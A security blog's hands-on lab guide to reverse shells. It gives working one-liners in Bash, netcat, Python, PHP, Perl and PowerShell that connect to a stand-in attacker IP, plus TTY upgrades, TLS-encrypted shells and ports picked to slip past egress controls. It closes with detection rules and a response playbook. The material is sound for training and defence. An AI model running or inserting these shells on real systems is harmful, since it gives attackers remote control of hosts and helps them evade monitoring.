Skip to content
· 11 min read INFO @Sdmrf

Reverse Shells: Hands-On Lab Guide for Practitioners

Lab setup, reverse shell techniques in 7 languages, TTY upgrades, encrypted shells, and detection rules. The practical follow-up.

On this page

This is Part 2 of the reverse shell series. If you haven’t read Part 1: The Complete Foundation, start there. It covers the concepts - what reverse shells are, why they work, and how they fit in the attack chain.

This post is all hands-on. We’re setting up a lab, running reverse shells, upgrading them, encrypting them, and then detecting them.

This tutorial is for authorized security testing, CTF competitions, and lab environments only. Everything runs in isolated VMs. Don’t use these techniques against systems you don’t own or have explicit written permission to test.

Lab Setup

You need two machines on an isolated network.

Option 1: Use an Existing Lab

If you built a detection lab, use your Kali box as the attacker and your Linux/Windows target VMs. You’re already set.

Option 2: Minimal Setup

Two VMs on a host-only or internal network.

Attacker (Kali Linux):

# Download Kali from kali.org
# Import into VirtualBox or Proxmox
# Verify tools are present
which nc ncat socat python3

Target (Ubuntu Server):

# Ubuntu 22.04+ Server
# Default install is fine
# Verify common interpreters
which bash python3 perl php

Network:

  • Both VMs on the same virtual network segment
  • No internet access needed
  • No bridge to your host/real network

Throughout this guide:

  • Attacker IP: 10.10.10.5
  • Target IP: 10.10.10.10
  • Replace with your actual IPs.

Verify Connectivity

# From attacker
ping -c 1 10.10.10.10

# From target
ping -c 1 10.10.10.5

If pings fail, fix your network before continuing.

The Listener

Every reverse shell needs something to catch the incoming connection. This runs on the attacker machine.

Netcat (Basic)

nc -lvnp 4444
FlagPurpose
-lListen mode
-vVerbose output
-nSkip DNS resolution
-p 4444Port to listen on

You’ll see Listening on 0.0.0.0 4444 when it’s ready. Leave this running and open a separate terminal for the target commands.

Rlwrap (Better)

Wrapping netcat with rlwrap gives you command history and arrow keys:

rlwrap nc -lvnp 4444

Install it with sudo apt install rlwrap if not present.

Reverse Shell Techniques

For each technique below: start your listener first, then run the command on the target machine.

Bash

bash -i >& /dev/tcp/10.10.10.5/4444 0>&1

How it works:

  • bash -i starts an interactive shell
  • >& /dev/tcp/10.10.10.5/4444 redirects stdout and stderr to a TCP connection
  • 0>&1 redirects stdin to the same connection

Compatibility: Bash only. Won’t work with sh, dash, or zsh. The /dev/tcp pseudo-device is a bash feature, not a real file.

Netcat (with -e)

nc -e /bin/bash 10.10.10.5 4444

The -e flag tells netcat to execute /bin/bash and pipe its I/O through the connection. Simple and clean.

Catch: Many modern distributions ship OpenBSD netcat, which removed -e for security reasons. Check with nc -h to see if your version supports it.

Netcat (without -e)

When -e isn’t available, use a named pipe:

rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc 10.10.10.5 4444 > /tmp/f

How it works:

  1. Create a FIFO (named pipe) at /tmp/f
  2. cat /tmp/f reads from the pipe (attacker’s input)
  3. Pipes it into bash -i (executes commands)
  4. Bash output goes through nc to the attacker
  5. Attacker’s responses go back into the pipe

It’s a loop: attacker input → pipe → bash → netcat → attacker sees output.

Python

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.10.5",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])'

Broken down:

import socket, subprocess, os

# Create TCP socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# Connect to attacker
s.connect(("10.10.10.5", 4444))

# Redirect stdin, stdout, stderr to the socket
os.dup2(s.fileno(), 0)   # stdin
os.dup2(s.fileno(), 1)   # stdout
os.dup2(s.fileno(), 2)   # stderr

# Spawn interactive bash
subprocess.call(["/bin/bash", "-i"])

os.dup2() duplicates a file descriptor. We’re duplicating the socket’s file descriptor onto stdin (0), stdout (1), and stderr (2). After this, anything bash reads/writes goes through the socket.

PHP

php -r '$sock=fsockopen("10.10.10.5",4444);exec("/bin/bash -i <&3 >&3 2>&3");'

fsockopen creates the connection. The socket gets file descriptor 3 (after stdin, stdout, stderr). We redirect bash’s I/O to it.

Common on web servers where PHP is the only interpreter available.

Perl

perl -e 'use Socket;$i="10.10.10.5";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'

Same pattern: create socket, connect, redirect I/O, spawn shell.

PowerShell (Windows)

$client = New-Object System.Net.Sockets.TCPClient('10.10.10.5',4444);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
    $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);
    $sendback = (iex $data 2>&1 | Out-String);
    $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
    $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
    $stream.Write($sendbyte,0,$sendbyte.Length);
    $stream.Flush()
}
$client.Close()

This one’s longer because PowerShell handles I/O differently. It reads commands from the stream, executes them with Invoke-Expression, and writes output back. The 'PS ' + (pwd).Path + '> ' gives you a prompt so you know where you are.

Upgrading to a Full TTY

Raw reverse shells are frustrating. No tab completion, no arrow keys, no job control. Ctrl+C kills your entire session instead of just the current command. Fix that.

The Upgrade Process

Once you have a basic reverse shell on a Linux target:

Step 1 - Spawn a PTY:

python3 -c 'import pty; pty.spawn("/bin/bash")'

This gives you a pseudo-terminal. Better, but still not great.

Step 2 - Background the shell:

Press Ctrl+Z. You’re back on your attacker machine.

Step 3 - Configure your terminal:

stty raw -echo; fg
  • stty raw puts your terminal in raw mode (passes all keystrokes directly)
  • -echo stops your terminal from echoing input (the remote shell will echo it)
  • fg brings the reverse shell back to the foreground

Step 4 - Set environment:

export TERM=xterm
export SHELL=bash

Now you have a fully interactive shell with:

  • Arrow keys and command history
  • Tab completion
  • Ctrl+C works correctly
  • Interactive programs (vim, top, htop, ssh) work

Fix Terminal Dimensions

If output wraps incorrectly or programs render strangely:

# On attacker (separate terminal) - check your size
stty size
# Output: 50 200

# In the reverse shell - match it
stty rows 50 cols 200

Alternative: Script Command

If Python isn’t available:

script -qc /bin/bash /dev/null

Less reliable than the Python method, but works in a pinch.

Encrypted Reverse Shells

Plain reverse shells transmit everything in cleartext. On a real network, this means anyone sniffing traffic sees every command you run and every output. In an authorized engagement, you’re potentially exposing client data over the wire.

Use encryption.

Socat with TLS

On the attacker - generate a certificate:

openssl req -newkey rsa:2048 -nodes -keyout shell.key -x509 -days 30 -out shell.crt -subj '/CN=test'
cat shell.key shell.crt > shell.pem

Start encrypted listener:

socat OPENSSL-LISTEN:4444,cert=shell.pem,verify=0,fork STDOUT

On the target - connect with encryption:

socat OPENSSL:10.10.10.5:4444,verify=0 EXEC:/bin/bash,pty,stderr,setsid,sigint,sane

The pty,stderr,setsid,sigint,sane flags give you a proper interactive terminal. Socat is the single best tool for reverse shells - encrypted, interactive, and stable out of the box.

Ncat with SSL

Nmap’s ncat supports SSL natively:

# Attacker
ncat --ssl -lvnp 4444

# Target
ncat --ssl 10.10.10.5 4444 -e /bin/bash

Simpler than socat, but fewer options for terminal handling.

Port Selection Strategy

In your lab, any port works. In authorized engagements, port selection matters.

PortProtocolWhy It Works
80HTTPAlmost universally allowed outbound
443HTTPSAllowed and often not deeply inspected
53DNSFrequently allowed, even on locked-down networks
8080HTTP AltCommon proxy port, usually allowed
8443HTTPS AltAllowed in many environments

Firewalls and proxy servers may inspect traffic on these ports. An encrypted reverse shell on port 443 looks like normal HTTPS traffic to basic inspection. Deep packet inspection (DPI) can still flag it, but it raises the bar significantly.

Detecting Reverse Shells

Time to flip to the blue team. Everything you just learned to do, you now need to detect.

Network Indicators

What reverse shells look like on the wire:

IndicatorWhat to Look For
Unusual outbound connectionsServers connecting to unknown IPs
Connection durationPersistent connections (hours) to non-CDN IPs
Traffic patternSmall, frequent, bidirectional data bursts
Port mismatchNon-HTTP traffic on port 80/443
BeaconingRegular interval check-ins (C2 frameworks)

Suricata example rule:

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"Possible reverse shell - bash /dev/tcp"; content:"/dev/tcp/"; sid:1000001; rev:1;)

Host-Based Detection

Commands to check a system for active reverse shells:

# Unusual network connections from shells
ss -tnp | grep -E '(bash|sh|python|perl|php|ruby)'

# Process trees that don't make sense
ps auxf | grep -E '(bash|sh) -i'

# Named pipes (used by netcat pipe method)
find /tmp /var/tmp /dev/shm -type p 2>/dev/null

# File descriptors pointing to sockets
ls -la /proc/*/fd 2>/dev/null | grep socket

Sysmon Rules (Windows)

Watch for these event patterns:

Process creation (Event ID 1):

  • cmd.exe or powershell.exe spawned by w3wp.exe, httpd.exe, java.exe
  • Any shell spawned by a web server or application server process

Network connection (Event ID 3):

  • powershell.exe making outbound TCP connections
  • cmd.exe with network activity
  • Connections on unusual ports from unexpected processes

Auditd Rules (Linux)

# Detect outbound connections from shell processes
-a always,exit -F arch=b64 -S connect -F a0=2 -F exe=/bin/bash -k reverse_shell
-a always,exit -F arch=b64 -S connect -F a0=2 -F exe=/bin/sh -k reverse_shell

# Monitor common reverse shell tools
-w /usr/bin/nc -p x -k reverse_shell_tools
-w /usr/bin/ncat -p x -k reverse_shell_tools
-w /usr/bin/socat -p x -k reverse_shell_tools

# Detect named pipe creation in temp directories
-w /tmp -p wa -k suspicious_tmp_activity

Sigma Rules

Search the SigmaHQ repository for production-ready detection rules:

  • proc_creation_lnx_reverse_shell
  • proc_creation_win_powershell_reverse_shell
  • net_connection_lnx_shell_outbound

Defense Playbook

Prevent

  1. Egress filtering - Whitelist outbound destinations. Servers should only reach what they need
  2. Application control - Restrict which binaries can execute on production systems
  3. Remove unnecessary interpreters - If a web server doesn’t need Python or Perl, remove them
  4. Network segmentation - Production servers shouldn’t reach arbitrary internet IPs

Detect

  1. Baseline normal - Know what outbound connections are expected from each server
  2. Monitor process trees - Web server → bash is never normal
  3. Watch for PTY spawning - python -c 'import pty' is a reliable indicator of shell upgrade
  4. Log DNS queries - Reverse shells over DNS exist and are harder to spot

Respond

If you find a reverse shell:

  1. Capture first - Record the network traffic before doing anything
  2. Identify the entry point - How did the attacker get code execution?
  3. Don’t just kill the process - Check for persistence mechanisms first
  4. Isolate the host - Remove from network, preserve evidence
  5. Hunt laterally - Assume the attacker moved; check adjacent systems
  6. Check for data exfiltration - What did they access? What might have been taken?

Quick Reference Card

MethodCommand
Bashbash -i >& /dev/tcp/ATTACKER/PORT 0>&1
NC (-e)nc -e /bin/bash ATTACKER PORT
NC (pipe)rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc ATTACKER PORT >/tmp/f
Pythonpython3 -c 'import socket,subprocess,os;...'
PHPphp -r '$sock=fsockopen("ATTACKER",PORT);...'
Perlperl -e 'use Socket;...'
PowerShell$c=New-Object System.Net.Sockets.TCPClient(ATTACKER,PORT);...
Socat TLSsocat OPENSSL:ATTACKER:PORT,verify=0 EXEC:/bin/bash,pty,stderr
Ncat SSLncat --ssl ATTACKER PORT -e /bin/bash

Practice Environments

Build your skills in controlled settings:

  • Your own lab - Isolated VMs, no restrictions, best for learning
  • HackTheBox - Machines designed for exploitation practice
  • TryHackMe - Guided rooms with step-by-step reverse shell exercises
  • PentesterLab - Structured vulnerability exercises
  • OverTheWire (Bandit/Narnia) - Build shell fundamentals

References


Attack to understand. Defend with that understanding. The best security engineers can do both.

Related Articles